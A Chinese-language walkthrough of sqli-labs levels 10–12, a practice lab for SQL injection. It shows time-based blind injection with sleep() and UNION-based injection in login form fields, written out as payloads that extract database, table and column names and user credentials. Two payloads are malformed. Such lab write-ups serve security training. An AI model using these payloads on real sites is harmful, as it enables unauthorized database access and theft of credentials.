sqli-labs-master sql注入靶场(10-12)
pass-10
首先,这题用sqlmap跑不出来
sqlmap提示我们这题是时间盲注
无论我们输入什么,不管对错页面都是You are in…
我们用sleep函数来判断对错
如果我们写了sleep(3)
那么如果页面报错就是立刻回显You are in…
如果页面没有报错就是三秒后回显You are in…
if(1=1,1,sleep(3)) 意思就是,1=1页面没报错的时候立刻回显You are in… 页面报错了就三面后回显
开始做题
?id=1" and if(1=1,1,sleep(3))-- -
立刻回显,说明页面没报错
?id=1" and if(1=2,1,sleep(3))-- -
圈出来的地方转了三秒,也就是三秒后回显,即页面报错
也就是1=1没报错,1=2报错,双引号就是闭合字符
爆数据库字符长度
?id=1" and if(length(database())=9,1,sleep(3))-- -
三秒后回显Youarein… 说明页面报错
?id=1" and if(length(database())=8,1,sleep(3))-- -
立刻回显,说明页面没报错,也就是说,数据库字符长度为8
爆数据库
爆数据库第一个字母
?id=1" and if(left(database(),1)>‘s’,1,sleep(3))-- -
三面后回显,说明报错,说明第一个字母大于s是错的
?id=1" and if(left(database(),1)>‘r’,1,sleep(3))-- -
立即回显,说明没报错,说明第一个字母大于r是对的
也就是说第一个字母是s
爆第二个字母
?id=1" and if(database(),2)>‘se’,1,sleep(3))-- -
三秒后回显,说明报错
?id=1" and if(database(),2)>‘sd’,1,sleep(3))-- -
立即回显,说明没报错
第二个字母为e
爆第三个字母
?id=1" and if(left(database(),3)>‘sec’,1,sleep(3))-- -
三秒后回显,说明报错
?id=1" and if(left(database(),3)>‘seb’,1,sleep(3))-- -
立即回显,说明没有报错
同理,一直到爆出security为止
爆表
?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))>100,1,sleep(3))-- -
立刻回显说明没有报错
?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))>101,1,sleep(3))-- -
三秒后回显,说明报错
即第一张表第一个字符的ascii码为101
后面字符分别为109 97 105 108 115
试到第一张表,第七个字符的时候,试什么都三秒后回显,说明试什么都报错,也就是说第一张表一共六个字符,分别是101e 109m 97a 105i 108l 115s
即第一张表名为emails
第二个表第一个字符ascii码为114
后面分别为101 102 101 114 101 114 115
试到第九个字符的时候不管大于多少都三秒后回显,说明报错,说明第二张表只有八个字符
?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>114,1,sleep(3))-- -
写一个简单的python脚本,将ascii码转化为字符
def shuchu():
a=[114,101,102,101,114,101,114,115]
i=0
while(i<len(a)):
print(chr(a[i]))
i=i+1
shuchu()
第二张表为referers
第三张表ascii分别为117,97,103,101,110,116,115,
?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))>117,1,sleep(3))-- -
将ascii码放到脚本跑一下,第三张表为uagents
第四张表分别为117,115,101,114,115
脚本跑一下
def shuchu():
a=[117,115,101,114,115]
i=0
while(i<len(a)):
print(chr(a[i]))
i=i+1
shuchu()
第四张表users
爆列
?id=1" and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database() limit 0,1),19,1))>114,1,sleep(3))-- -
105,100,44,117,115,101,114,110,97,109,101,44,112,97,115,115,119,111,114,100
放脚本跑一下
def shuchu():
a=[105,100,44,117,115,101,114,110,97,109,101,44,112,97,115,115,119,111,114,100]
i=0
while(i<len(a)):
print(chr(a[i]))
i=i+1
shuchu()
爆字段
?id=1" and if(ascii(substr((select group_concat(id,username,password) from users limit 0,1),9,1))>98,1,sleep(3))-- -
49,68,117,109,98,68,117,109,98
1 Dumb Dumb
等等
pass-11
抓一下登录包,这里是post传参,在url里面注入已经没用了,我们在burpsuite里面改包
uname=admin' and 1=1-- -
当1=1时候没报错,1=2报错,所以闭合字符为'
order by 1,2,3 报错
order by 1,2不报错
看回显点
uname=admin' and 1=2 union select 1,2-- -
爆库
uname=admin' and 1=2 union select 1,database()-- -
库名为security
爆表
uname=admin' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()-- -
表名为
emails,referers,uagents,users
爆列
uname=admin' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database()-- -
列名为
id,username,password
爆字段
uname=admin' and 1=2 union select 1,group_concat(id,username,password) from users-- -
pass-12
通过测试’ " ') “)后
闭合字符是”)
后面操作跟11题一样
最后补充一点,pass-10用sqlmap爆不出来,我这篇文章是手注的,可以看我后面一篇文章 python脚本实现sql时间盲注 这里面写的很详细